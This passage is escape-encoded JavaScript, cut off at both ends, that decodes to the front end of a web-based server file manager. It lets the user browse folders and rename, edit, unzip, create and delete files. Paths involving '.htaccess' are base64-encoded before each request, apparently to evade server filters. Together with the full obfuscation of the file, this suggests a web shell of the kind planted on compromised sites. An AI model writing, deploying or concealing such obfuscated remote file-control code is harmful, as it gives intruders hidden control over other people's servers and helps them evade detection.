x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\151\146\40\50\x21\x72\x65\163\165\154\x74\51\x20\162\x65\164\x75\162\x6e\73\xa\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x53\124\101\124\105\56\143\x75\x72\162\x65\156\164\x50\141\164\150\x20\x3d\40\x72\x65\163\165\154\164\56\x70\x61\x74\x68\73\40\144\157\x6d\x2e\x70\141\x74\150\x42\x61\x72\56\x74\145\x78\x74\103\157\156\164\x65\156\164\40\75\x20\123\124\x41\124\105\x2e\143\165\x72\x72\x65\156\164\x50\141\164\150\73\x20\x6c\x65\x74\x20\x68\x74\x6d\x6c\40\x3d\40\x27\x27\73\40\154\x65\x74\x20\160\x61\162\x65\x6e\x74\120\x61\x74\x68\40\75\40\123\x54\101\x54\105\56\143\x75\x72\162\x65\156\x74\x50\141\x74\x68\56\163\x75\x62\163\164\x72\151\x6e\147\x28\x30\x2c\40\123\124\101\124\x45\56\143\165\x72\162\145\156\164\x50\141\x74\x68\56\154\141\x73\x74\x49\156\144\x65\x78\x4f\146\x28\x27\x2f\x27\51\51\73\x20\x69\x66\x20\50\160\141\x72\145\156\164\x50\141\164\150\40\75\75\75\x20\x27\47\51\x20\x70\141\x72\x65\x6e\164\x50\141\x74\150\x20\x3d\40\x27\x2f\47\73\xa\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\40\40\40\x20\151\146\x20\50\x53\124\x41\x54\105\56\143\x75\x72\x72\145\156\x74\120\x61\x74\150\40\x21\75\75\40\47\57\47\x29\40\x7b\x20\x68\164\x6d\154\40\53\75\40\x60\x3c\164\162\40\x64\x61\164\x61\55\160\141\x74\150\75\42\44\x7b\160\141\x72\x65\x6e\x74\x50\x61\164\x68\x7d\x22\x3e\74\x74\144\x3e\x3c\57\164\144\x3e\74\x74\x64\x20\x63\157\154\163\x70\141\x6e\x3d\42\64\x22\x20\143\154\x61\x73\163\75\x22\x69\x74\145\155\55\154\x69\156\153\x22\x3e\xc3\x83\xc2\xa2\303\x82\xc2\xac\303\202\302\206\xc3\203\302\xaf\303\x82\xc2\xb8\303\202\xc2\x8f\40\56\56\40\50\120\141\x72\x65\x6e\x74\40\104\151\x72\145\x63\164\157\x72\x79\51\x3c\x2f\164\x64\76\74\57\x74\x72\76\x60\x3b\40\175\xa\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\162\145\163\x75\154\164\56\146\151\154\145\163\x2e\x73\157\162\164\50\50\141\54\142\51\40\x3d\x3e\x20\x28\x61\56\151\x73\x5f\144\151\x72\x20\x3d\75\x3d\x20\142\56\151\x73\137\144\151\x72\51\x20\x3f\x20\x61\x2e\156\x61\155\x65\56\x6c\x6f\x63\141\x6c\145\103\x6f\155\160\141\162\x65\x28\x62\56\156\141\x6d\x65\x29\40\x3a\40\50\x61\x2e\151\x73\x5f\x64\151\162\x20\77\40\55\61\40\72\x20\x31\51\51\x3b\xa\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\40\x20\162\x65\163\165\154\x74\56\x66\151\x6c\x65\163\x2e\146\x6f\x72\x45\x61\143\x68\50\146\x69\154\145\x20\75\x3e\x20\x7b\xa\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\40\40\40\x63\157\156\x73\164\40\163\x69\172\x65\40\x3d\40\x66\x69\x6c\x65\x2e\x69\163\137\x64\151\x72\40\77\x20\x27\55\47\x20\x3a\40\50\x66\151\x6c\x65\56\163\x69\x7a\x65\x20\57\40\x31\60\62\x34\x29\x2e\164\157\106\151\170\x65\144\50\x32\x29\40\53\40\47\x20\113\102\47\x3b\x20\143\x6f\156\x73\x74\40\155\157\144\151\146\x69\145\x64\40\x3d\x20\156\145\x77\40\x44\141\164\x65\50\x66\x69\x6c\145\x2e\x6d\x6f\144\151\x66\151\145\144\40\x2a\x20\x31\60\60\60\51\x2e\164\157\x4c\157\x63\141\154\x65\123\164\162\151\156\147\x28\x29\x3b\12\40\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\x20\x20\x63\x6f\x6e\x73\164\x20\x69\x63\157\156\x20\75\40\146\151\x6c\145\56\x69\163\x5f\x64\151\162\40\77\x20\47\303\203\302\260\xc3\x82\302\237\303\202\xc2\223\303\x82\xc2\201\x27\x20\x3a\x20\47\303\x83\302\xb0\xc3\x82\xc2\237\xc3\202\302\223\303\x82\302\x84\x27\x3b\12\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\143\157\156\x73\164\40\x66\165\154\154\120\x61\x74\x68\40\x3d\40\x60\x24\x7b\123\124\101\x54\x45\56\x63\165\162\x72\x65\156\164\x50\141\x74\x68\175\57\44\x7b\146\x69\154\145\x2e\x6e\x61\x6d\145\175\140\x2e\x72\x65\160\x6c\141\x63\145\x28\57\x5c\57\53\x2f\147\x2c\x20\x27\57\47\51\x3b\x20\143\157\x6e\163\164\40\x64\141\x74\x61\x41\x74\164\x72\40\75\40\x60\144\141\x74\x61\55\160\x61\164\150\75\x22\44\173\146\x75\x6c\x6c\x50\141\164\x68\x7d\42\140\x3b\40\x63\157\156\x73\x74\x20\x72\x6f\x77\x44\x61\x74\x61\x20\75\x20\146\x69\154\145\56\x69\163\137\x64\151\162\40\77\x20\140\143\154\x61\x73\x73\75\42\144\151\x72\55\154\x69\x6e\x6b\x22\x20\x24\173\144\141\164\x61\x41\x74\164\x72\175\140\x20\72\40\47\47\x3b\12\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\150\164\x6d\x6c\40\53\75\40\x60\x3c\164\x72\x20\44\x7b\162\x6f\x77\104\141\164\x61\175\x3e\74\x74\144\76\74\151\x6e\160\x75\x74\x20\x74\x79\x70\145\x3d\42\x63\150\145\143\x6b\142\x6f\x78\x22\40\143\154\141\x73\163\x3d\42\x69\x74\x65\x6d\55\163\145\154\145\x63\x74\42\x20\166\x61\x6c\x75\x65\75\x22\44\x7b\146\151\x6c\x65\x2e\x6e\x61\x6d\145\175\x22\76\74\x2f\x74\x64\76\74\x74\x64\76\x3c\141\x20\150\x72\x65\146\75\42\x23\42\x20\143\154\141\x73\x73\x3d\42\151\164\145\155\x2d\154\151\156\153\x22\x20\44\173\144\x61\164\x61\101\164\164\x72\175\76\x24\x7b\151\x63\157\x6e\x7d\40\44\173\x66\151\154\x65\x2e\156\141\155\x65\175\74\57\x61\x3e\x3c\57\164\x64\76\x3c\x74\144\76\44\x7b\x73\151\172\x65\175\x3c\x2f\x74\144\76\74\164\144\x3e\44\173\x6d\157\144\x69\x66\151\x65\x64\175\74\57\x74\144\76\x3c\x74\x64\x3e\x3c\x64\x69\x76\x20\143\154\x61\x73\x73\x3d\42\x61\143\x74\151\x6f\x6e\x73\42\76\44\x7b\x21\x66\151\154\145\x2e\151\x73\137\x64\x69\162\x20\77\40\140\x3c\x62\x75\164\x74\157\x6e\40\x63\x6c\141\163\x73\x3d\x22\142\x75\x74\164\x6f\156\x20\145\144\x69\x74\55\x62\164\x6e\42\x20\x24\x7b\x64\x61\x74\141\101\164\164\x72\175\x3e\105\144\x69\x74\x3c\x2f\142\165\x74\164\x6f\x6e\76\x60\40\x3a\x20\47\x27\x7d\74\x62\x75\164\164\x6f\156\x20\x63\154\x61\x73\x73\75\42\x62\165\164\x74\157\156\40\x72\145\x6e\141\155\x65\x2d\142\164\x6e\42\x20\144\x61\x74\141\55\x6e\x61\x6d\x65\75\x22\44\x7b\146\x69\154\145\56\156\x61\x6d\x65\175\x22\x3e\122\145\156\x61\x6d\x65\74\x2f\x62\x75\x74\164\x6f\x6e\76\x24\173\x66\x69\154\x65\56\156\141\x6d\x65\56\x65\x6e\144\163\x57\x69\x74\x68\50\x27\56\172\x69\160\47\x29\x20\77\40\140\x3c\142\165\164\164\157\x6e\40\x63\x6c\x61\163\x73\75\42\142\165\164\164\157\x6e\x20\x75\x6e\x7a\151\160\55\x62\x74\156\x22\x20\44\173\144\x61\164\x61\101\164\x74\162\x7d\x3e\125\156\x7a\151\x70\x3c\x2f\142\165\x74\x74\x6f\x6e\x3e\x60\72\x27\x27\40\175\x3c\57\x64\x69\166\x3e\x3c\x2f\164\x64\x3e\74\57\x74\x72\x3e\x60\x3b\xa\40\x20\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\175\x29\x3b\12\x20\x20\x20\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\x20\144\157\x6d\56\146\151\x6c\x65\114\151\163\164\56\x69\156\156\x65\162\110\x54\x4d\x4c\40\x3d\40\150\x74\155\154\73\40\x64\x6f\155\56\x73\x65\x6c\x65\143\x74\101\154\154\x2e\143\x68\145\143\153\x65\144\40\x3d\x20\x66\141\154\x73\x65\73\12\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\175\51\73\12\40\40\40\x20\x20\40\40\x20\x7d\12\x20\40\x20\x20\40\40\x20\40\12\40\x20\x20\40\x20\40\40\x20\x64\157\x6d\x2e\x66\x69\x6c\145\x4c\x69\163\x74\56\141\x64\x64\105\166\145\156\164\114\x69\163\164\x65\156\x65\x72\x28\x27\143\x6c\x69\x63\x6b\47\x2c\40\x65\x20\75\x3e\x20\173\xa\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\x69\146\40\50\x65\56\x74\141\x72\147\145\x74\x2e\x6d\141\164\x63\x68\145\163\x28\47\56\x69\164\145\155\55\163\145\154\x65\143\164\47\x29\51\40\173\x20\x72\145\x74\x75\x72\156\x3b\x20\x7d\12\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\40\143\x6f\x6e\163\164\40\x62\x75\x74\164\157\x6e\40\x3d\x20\x65\56\x74\141\162\x67\x65\164\56\x63\x6c\157\163\x65\x73\164\x28\x27\142\165\x74\x74\157\x6e\47\51\x3b\12\x20\40\x20\40\x20\40\40\40\40\40\40\40\x69\x66\40\x28\x62\x75\x74\164\157\x6e\51\x20\173\12\x20\40\40\40\40\40\40\x20\40\40\x20\40\x20\x20\40\40\x65\56\x70\x72\x65\166\x65\156\164\104\x65\146\x61\x75\154\x74\x28\x29\73\12\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x69\x66\40\50\142\165\164\x74\157\x6e\56\155\x61\164\143\150\145\163\x28\x27\x2e\x72\x65\x6e\x61\155\145\55\x62\x74\156\x27\x29\x29\40\x7b\xa\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\40\143\157\x6e\x73\164\40\x6f\154\144\116\141\155\x65\x20\x3d\40\142\x75\x74\x74\157\x6e\x2e\x64\x61\164\141\163\x65\x74\x2e\156\141\x6d\x65\x3b\xa\x20\40\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\143\x6f\x6e\163\164\40\156\x65\167\116\x61\x6d\x65\x20\75\x20\x70\162\x6f\155\160\164\50\x27\x45\156\164\x65\162\x20\156\x65\x77\x20\156\141\x6d\x65\72\47\54\x20\157\154\x64\x4e\141\155\145\51\73\12\40\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\151\x66\x20\50\156\145\x77\116\x61\155\x65\x20\46\46\x20\156\x65\167\x4e\x61\x6d\x65\40\41\75\x3d\40\157\x6c\144\116\141\155\145\x29\40\x7b\12\x20\x20\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\143\157\x6e\x73\x74\40\146\144\40\x3d\40\156\x65\x77\x20\x46\157\162\155\104\141\164\141\x28\x29\x3b\xa\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\146\144\56\141\160\x70\x65\x6e\144\x28\x27\160\x61\x74\x68\47\54\x20\x53\x54\x41\124\x45\x2e\143\x75\162\x72\145\x6e\x74\120\x61\x74\150\x29\73\12\40\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x6c\x65\x74\40\x61\143\164\151\157\x6e\40\x3d\x20\47\x72\145\x6e\x61\155\x65\47\73\xa\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x20\40\x69\146\40\x28\157\x6c\x64\116\x61\155\x65\56\151\156\x63\x6c\165\144\145\163\x28\x27\56\150\x74\x61\143\143\x65\163\x73\47\x29\x20\x7c\x7c\x20\x6e\x65\167\116\x61\x6d\x65\x2e\x69\x6e\143\x6c\x75\x64\145\163\50\47\56\x68\x74\x61\143\143\145\163\x73\x27\51\51\40\x7b\12\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\141\x63\x74\x69\157\x6e\x20\x3d\40\47\x72\x65\x6e\141\155\145\137\x62\x36\64\x27\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\40\40\40\40\40\146\x64\x2e\141\160\x70\145\156\x64\50\47\157\154\x64\137\156\x61\155\145\137\x62\66\64\x27\54\40\x62\164\x6f\141\x28\157\154\144\116\x61\x6d\x65\x29\51\x3b\xa\40\x20\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\40\40\x20\40\x20\146\144\56\x61\160\x70\x65\156\x64\x28\x27\156\x65\x77\x5f\x6e\141\x6d\145\x5f\142\x36\64\x27\x2c\40\142\x74\157\141\x28\x6e\x65\167\116\141\x6d\x65\x29\51\x3b\12\x20\x20\x20\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\175\40\x65\x6c\x73\x65\40\173\xa\40\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\146\x64\56\x61\x70\x70\x65\156\x64\50\47\x6f\x6c\x64\137\156\x61\155\x65\x27\x2c\x20\157\154\x64\x4e\141\x6d\145\x29\x3b\xa\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x66\x64\x2e\x61\x70\x70\x65\x6e\144\x28\47\x6e\145\x77\x5f\156\141\x6d\145\x27\x2c\x20\156\145\167\x4e\x61\x6d\x65\x29\x3b\xa\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\175\12\40\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\40\40\x61\160\151\x43\x61\x6c\x6c\50\x61\143\164\151\x6f\156\54\x20\x66\x64\51\56\x74\x68\x65\x6e\50\162\145\x6e\x64\145\x72\51\x3b\xa\x20\40\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x7d\12\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\40\40\40\x20\175\x20\12\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x65\x6c\x73\145\40\x69\x66\40\50\x62\165\x74\x74\157\156\56\155\141\164\143\x68\145\x73\x28\47\56\x75\156\x7a\x69\160\55\x62\164\x6e\47\51\x29\x20\x7b\40\x69\x66\40\x28\143\157\156\x66\x69\x72\x6d\x28\47\101\x72\x65\40\x79\x6f\x75\x20\x73\165\162\145\40\x79\157\x75\x20\167\x61\x6e\164\40\164\157\40\x65\x78\x74\162\141\x63\x74\x20\164\150\151\163\x20\x61\162\143\x68\151\166\145\77\x27\x29\51\x20\173\x20\x63\x6f\156\x73\164\40\x66\144\40\75\40\156\145\x77\40\106\157\162\x6d\x44\141\164\x61\x28\51\x3b\x20\146\x64\x2e\x61\x70\160\x65\156\x64\50\x27\x70\141\x74\x68\x27\54\x20\x62\165\164\x74\x6f\156\x2e\x64\x61\164\141\163\145\x74\x2e\x70\x61\164\x68\x29\x3b\40\x61\x70\151\103\141\154\x6c\50\47\165\156\x7a\151\x70\x27\x2c\x20\146\144\54\x20\164\x72\165\145\51\x2e\164\x68\x65\156\x28\162\x65\156\144\145\x72\51\73\x20\x7d\x20\175\x20\xa\x20\40\x20\40\40\40\x20\40\40\40\40\x20\40\x20\x20\40\145\x6c\x73\x65\x20\151\x66\40\50\142\165\x74\x74\x6f\156\56\155\141\164\x63\x68\x65\163\50\x27\x2e\x65\144\151\164\55\x62\x74\x6e\47\51\x29\x20\x7b\12\x20\40\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\x63\x6f\156\163\x74\x20\160\141\x74\150\40\x3d\x20\142\165\x74\x74\157\x6e\56\144\141\x74\141\x73\145\x74\x2e\160\x61\x74\150\x3b\xa\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x63\157\x6e\x73\164\40\x66\144\x20\75\x20\156\x65\167\x20\x46\157\162\x6d\104\141\x74\x61\50\x29\73\xa\40\x20\x20\40\40\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\x20\x20\40\154\x65\x74\x20\x61\x63\164\151\x6f\156\40\x3d\x20\x27\x67\x65\x74\x5f\x63\x6f\156\164\145\156\x74\x27\x3b\12\40\40\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\40\x20\x69\x66\x20\x28\160\x61\x74\150\x2e\x69\156\x63\x6c\x75\144\x65\163\x28\47\x2e\x68\164\x61\x63\143\145\x73\x73\47\x29\x29\40\x7b\12\40\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\141\143\x74\x69\x6f\156\x20\x3d\x20\47\x67\145\164\x5f\143\157\156\x74\x65\156\x74\137\x62\66\x34\47\73\xa\x20\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\146\x64\x2e\141\x70\x70\x65\156\144\x28\x27\160\x61\x74\150\x5f\x62\66\x34\47\x2c\x20\142\164\157\x61\x28\x70\141\164\x68\51\51\73\xa\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x7d\x20\145\x6c\163\145\40\173\xa\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x66\x64\x2e\141\160\160\x65\156\144\x28\x27\160\x61\164\x68\47\54\x20\x70\141\x74\150\51\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\40\40\x7d\12\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\141\x70\x69\103\x61\x6c\x6c\50\141\x63\x74\151\157\156\54\x20\x66\144\x29\x2e\x74\x68\x65\156\50\x72\x65\x73\x75\154\164\40\x3d\76\40\x7b\12\40\x20\40\40\40\x20\40\40\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\40\x20\151\x66\x28\162\x65\x73\x75\154\x74\51\40\x7b\xa\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\40\40\x20\144\x6f\155\x2e\x65\x64\151\164\157\x72\x46\x69\x6c\x65\x6e\141\x6d\145\x2e\x74\x65\x78\x74\x43\157\x6e\164\x65\156\x74\40\75\40\x70\141\x74\150\73\12\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x64\157\155\56\145\x64\x69\164\157\x72\56\166\x61\x6c\165\x65\x20\75\x20\141\164\x6f\x62\50\x61\164\157\x62\50\x72\145\x73\x75\x6c\x74\56\143\x6f\x6e\x74\x65\x6e\164\51\x29\x3b\xa\x20\x20\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\40\x20\40\x20\x64\x6f\155\x2e\145\x64\x69\x74\x6f\162\x4d\x6f\x64\141\154\56\x73\164\x79\x6c\x65\x2e\144\x69\x73\x70\154\x61\x79\40\x3d\x20\x27\x66\154\x65\170\47\73\12\40\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\x7d\xa\x20\x20\40\40\x20\40\40\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\175\51\x3b\12\40\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\x20\175\12\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\162\x65\x74\165\x72\156\x3b\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x7d\xa\40\x20\40\x20\40\40\40\40\x20\40\x20\40\x63\x6f\x6e\163\x74\x20\x6e\x61\x76\124\141\x72\147\x65\x74\x20\75\40\x65\x2e\x74\141\x72\x67\145\164\56\143\x6c\x6f\x73\x65\163\x74\50\x27\x5b\144\141\x74\141\55\x70\141\164\x68\135\x27\x29\73\xa\x20\x20\40\x20\40\x20\40\40\40\40\40\40\151\x66\x20\x28\x6e\x61\166\124\141\162\147\145\x74\51\40\173\40\145\56\x70\x72\x65\x76\145\156\x74\104\x65\146\141\165\x6c\x74\x28\51\x3b\x20\x53\124\101\x54\x45\56\x63\x75\x72\x72\x65\x6e\164\x50\x61\x74\150\x20\x3d\x20\156\x61\166\x54\x61\162\x67\145\164\x2e\144\x61\164\141\x73\145\164\56\x70\x61\164\x68\73\40\162\x65\156\x64\x65\162\x28\51\x3b\40\175\xa\40\x20\x20\40\x20\x20\x20\40\x7d\51\x3b\xa\40\x20\x20\x20\40\x20\x20\40\xa\x20\40\40\40\40\x20\40\40\x64\157\x6d\56\156\x65\x77\x46\157\154\144\x65\162\x42\x74\156\56\141\x64\x64\105\x76\145\x6e\x74\x4c\x69\x73\x74\x65\x6e\145\162\50\47\143\154\151\143\153\x27\x2c\x20\50\x29\40\75\x3e\x20\173\x20\x63\x6f\x6e\x73\x74\x20\156\141\x6d\145\x20\x3d\x20\160\x72\157\155\x70\x74\50\47\x45\x6e\164\145\162\x20\x6e\x65\x77\x20\146\x6f\154\x64\x65\x72\x20\156\x61\x6d\x65\x3a\x27\51\x3b\x20\151\x66\x20\50\x6e\x61\x6d\145\51\40\x7b\40\143\157\x6e\x73\164\x20\146\x64\x20\75\x20\x6e\145\x77\x20\106\x6f\x72\x6d\x44\141\x74\x61\50\51\x3b\40\146\x64\x2e\141\x70\160\145\156\144\50\47\x70\x61\164\150\x27\x2c\40\123\124\101\x54\105\x2e\x63\x75\162\x72\x65\156\164\x50\141\164\150\51\x3b\x20\x66\144\56\x61\x70\x70\x65\x6e\144\x28\x27\156\141\155\145\x27\54\x20\x6e\x61\x6d\145\x29\73\40\141\x70\x69\x43\141\154\x6c\x28\47\143\162\x65\x61\x74\x65\x5f\x66\157\154\144\x65\x72\x27\54\40\146\144\51\x2e\164\x68\x65\x6e\x28\x72\145\x6e\144\x65\162\51\73\40\x7d\x20\175\x29\73\12\40\x20\x20\x20\x20\x20\x20\40\144\x6f\x6d\56\x6e\x65\x77\106\151\x6c\x65\x42\x74\x6e\x2e\141\x64\x64\x45\x76\145\156\164\114\x69\x73\164\145\156\x65\162\50\x27\143\x6c\x69\143\x6b\x27\54\x20\x28\x29\x20\75\x3e\40\173\x20\x63\157\156\163\164\x20\156\x61\x6d\145\x20\75\40\x70\162\x6f\155\160\164\x28\x27\105\156\164\x65\x72\x20\156\x65\167\x20\146\151\154\145\40\x6e\x61\x6d\x65\72\47\x29\x3b\x20\x69\146\40\50\156\141\x6d\145\51\40\x7b\40\x63\157\156\163\x74\40\x66\x64\40\75\x20\156\145\167\40\x46\157\x72\155\x44\141\x74\x61\x28\51\x3b\x20\x66\x64\56\x61\160\160\145\156\144\x28\47\160\141\164\x68\x27\54\40\123\x54\x41\x54\x45\56\143\x75\162\162\x65\156\164\x50\x61\x74\150\51\x3b\40\x66\x64\x2e\x61\160\160\x65\156\144\x28\x27\156\x61\x6d\145\47\x2c\x20\x6e\141\x6d\145\x29\x3b\40\x61\x70\151\103\x61\154\x6c\50\x27\x63\162\x65\141\164\x65\x5f\146\151\154\145\47\x2c\x20\x66\x64\51\x2e\x74\150\145\x6e\x28\162\x65\x6e\x64\145\x72\51\x3b\40\x7d\x20\x7d\x29\73\12\x20\x20\x20\x20\40\40\40\40\144\157\155\56\163\145\154\145\143\x74\x41\x6c\x6c\x2e\141\144\x64\105\x76\145\156\x74\x4c\151\163\x74\x65\156\x65\162\50\47\x63\x68\x61\156\147\145\x27\x2c\40\145\x20\x3d\76\40\x64\157\143\165\x6d\x65\x6e\x74\x2e\x71\165\x65\162\x79\123\x65\x6c\x65\143\164\157\x72\101\x6c\x6c\x28\x27\56\x69\164\x65\x6d\55\163\145\x6c\x65\143\x74\x27\x29\56\146\x6f\162\x45\141\x63\x68\50\x63\142\40\x3d\76\40\x63\142\56\143\x68\x65\143\x6b\x65\x64\x20\75\40\145\56\164\141\x72\147\x65\164\56\143\x68\x65\x63\x6b\145\x64\51\x29\73\12\x20\x20\40\40\40\40\40\x20\12\40\40\40\40\x20\x20\x20\x20\144\157\155\56\144\x65\154\x65\x74\x65\x42\164\156\x2e\x61\x64\144\x45\x76\145\156\164\x4c\x69\x73\x74\x65\x6e\145\x72\50\47\143\154\151\143\153\47\x2c\x20\x28\x29\x20\75\76\40\173\12\x20\x20\x20\40\40\40\x20\x20\40\40\40\40\143\x6f\x6e\163\164\x20\163\x65\154\145\143\164\x65\144\40\75\40\x41\162\x72\x61\171\56\146\162\157\x6d\x28\144\x6f\143\x75\x6d\145\156\x74\x2e\x71\165\145\x72\171\x53\145\154\x65\x63\164\x6f\x72\x41\154\154\50\47\x2e\x69\164\145\155\x2d\163\145\x6c\x65\143\164\72\143\x68\x65\143\153\x65\x64\x27\51\51\x2e\155\141\160\x28\143\x62\x20\x3d\76\x20\143\142\x2e\166\141\x6c\x75\145\x29\x3b\12\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\x69\146\x20\x28\163\145\154\145\143\164\x65\144\x2e\x6c\x65\156\x67\164\x68\40\x3d\75\x3d\40\60\51\40\162\145\x74\x75\162\156\x20\x61\x6c\145\x72\x74\50\x27\x4e\157\40\x69\164\x65\155\163\40\163\x65\x6c\145\x63\x74\145\x64\56\x27\x29\73\xa\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\151\x66\40\50\x63\x6f\x6e\x66\151\x72\x6d\x28\140\101\x72\145\40\x79\157\x75\40\163\x75\x72\145\x20\x79\x6f\165\40\167\141\x6e\x74\x20\x74\x6f\x20\x64\145\154\145\164\145\x20\44\x7b\x73\145\x6c\x65\x63\164\x65\x64\x2e\x6c\x65\x6e\x67\164\x68\x7d\x20\151\x74\145\155\50\163\51\77\x60\x29\x29\40\173\xa\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\x63\157\156\x73\x74\40\x66\144\x20\75\x20\156\x65\167\40\x46\x6f\x72\155\104\141\x74\141\x28\51\x3b\12\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\x66\x64\56\141\160\160\145\x6e\144\x28\x27\x70\x61\164\150\47\x2c\x20\x53\x54\101\124\105\56\143\x75\162\x72\145\156\164\120\x61\x74\x68\x29\73\12\x20\x20\40\40\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\143\157\156\163\164\x20\151\163\x53\x65\156\x73\151\x74\x69\x76\145\x20\x3d\40\x73\x65\x6c\145\143\164\x65\144\x2e\163\157\x6d\145\50\151\x74\145\155\x20\75\76\x20\151\x74\145\x6d\x2e\x69\x6e\143\154\x75\144\145\163\x28\47\x2e\x68\x74\x61\143\143\x65\163\163\47\51\x29\x3b\xa\x20\x20\x20\40\x20\40\x20\40\40\x20\40\40\40\x20\40\x20\154\145\164\40\141\x63\164\151\157\x6e\x20\x3d\40\x27\144\x65\x6c\145\164\x65\47\73\12\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\151\146\40\50\151\x73\x53\145\x6e\163\151\x74\151\166\x65\51\40\173\12\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x20\40\x20\40\x61\x63\164\x69\x6f\156\x20\x3d\x20\47\144\145\x6c\x65\x74\145\x5f\142\x36\64\x27\x3b\12\40\40\40\40\40\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\40\163\145\x6c\x65\143\164\145\144\x2e\146\157\162\105\x61\x63\x68\x28\151\x74\145\155\40\75\x3e\40\x66\x64\56\141\160\x70\x65\156\144\50\47\x69\x74\x65\x6d\163\137\x62\66\64\133\135\47\54\40\142\x74\157\141\x28\x69\x74\145\155\x29\51\x29\73\12\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\175\40\145\154\163\x65\40\173\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\40\x73\145\154\145\143\164\x65\x64\x2e\146\157\x72\105\x61\143\150\50\151\x74\x65\155\40\75\x3e\40\x66\x64\56\141\x70\160\x65\156\144\x28\47\151\x74\x65\155\163\x5b\135\x27\54\40\151\164\145\x6d\x29\51\73\xa\40\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\x7d\12\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x61\160\151\103\141\154\x6c\50\x61\143\x74\151\x6f\x6e\